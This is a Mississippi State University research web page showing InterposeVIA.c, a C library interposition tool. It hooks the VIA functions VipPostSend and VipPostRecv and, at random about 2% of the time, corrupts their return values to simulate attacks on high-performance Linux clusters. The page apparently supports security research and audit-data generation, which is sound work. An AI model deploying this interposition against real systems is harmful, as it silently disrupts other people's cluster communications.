Center for Computer Security Research, Mississippi State University Attacks on High Performance Linux Clusters
Introduction
Publications
Attacks
Related Data Sets
Contact Information
Links
InterposeVIA.c
/*****************************************************************************
InterposeVIA.c: Interposition library to capture function calls from the libvipl.so
	and attack the system by corrupting the returned values of the functions

By:
	Miguel Torres
	Computer Science, Mississippi State University
	July 2003

Based on:
	Profiling and tracind gynamic library usage via interposition (Timothy Curry)
	Generation of application level audit data via library interposition (Kuperman and
		Spafford, 1999)
	The Thesis work by German Florez at the CCSR at Mississippi State University
******************************************************************************/
#include <dlfcn.h> 
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <vipl.h>
//#include <vipl_giganet.h>
#include <sys/utsname.h>
// For Random Generation
#include "randomlib.h"

// Sets the Seeds for the random generator
#define RANDOM (double)random()/RAND_MAX
//#define RANDOM (double)random((time(NULL))%31328)/RAND_MAX

#define INIT_RANDS \
	srand(time(NULL)); \
    	RandomInitialise((int)(time(NULL)*RANDOM)%31328,(int)(time(NULL)*RANDOM)%30081);

// Probability of start an attack
#define PERCENTAJE 2.0

#define FALSE	0
#define TRUE	1

#define  VIALIBRABRY  "/usr/lib/libgnivlp.so"

static int DoProfile2=TRUE;
static int first_time=TRUE;


#ifdef  ATTACK

/****************MAIN FUNCTIONS**********************************************/

VIP_RETURN
VipPostSend (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle){

	typedef VIP_RETURN (*function_type) (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle);
	static function_type function=NULL;
	static char* function_name="VipPostSend";

	VIP_RETURN retval;

	DoProfile2=FALSE;
	#ifdef PRINT_OUTPUT
		printf("VipPostSend  Profiling\n");
		fflush(stdout);
	#endif

	function = (function_type) dlsym(RTLD_NEXT,function_name);
	retval=((*function)(ViHandle,DescriptorPtr,MemoryHandle));

	// Attack
	if( first_time ){
		first_time = FALSE;
		// Random Generation
		INIT_RANDS
	}
	if(RandomDouble(0.0,100.0)< PERCENTAJE){
		#ifdef PRINT_OUTPUT
			printf("_VIA_POSTSEND Attacking\n");
			fflush(stdout);
		#endif
		retval = VIP_INVALID_PARAMETER;
	}


	DoProfile2 =TRUE;
	return retval;

}


VIP_RETURN 
	VipPostRecv (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR * DescriptorPtr, VIP_MEM_HANDLE MemoryHandle){

	typedef VIP_RETURN (*function_type) (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle);
	static function_type function=NULL;
	static char* function_name="VipPostRecv";

	VIP_RETURN retval;

	DoProfile2=FALSE;
	#ifdef PRINT_OUTPUT
		printf("_VipPostRecv  Profiling\n");
		fflush(stdout);
	#endif

	function = (function_type) dlsym(RTLD_NEXT,function_name);
	retval=((*function)(ViHandle, DescriptorPtr,MemoryHandle));

	// Attack
	if( first_time ){
		first_time = FALSE;
		// Random Generation
		INIT_RANDS
	}
	if(RandomDouble(0.0,100.0)< PERCENTAJE){
		#ifdef PRINT_OUTPUT
			printf("_VIA_POSTRECV Attacking\n");
			fflush(stdout);
		#endif
		retval = VIP_INVALID_PARAMETER;
	}


	DoProfile2 =TRUE;
	return retval;

}

#endif


syntax highlighted by Code2HTML, v. 0.9.1

Questions and comments about this web site may be directed to the webmaster at rwm8@cse.msstate.edu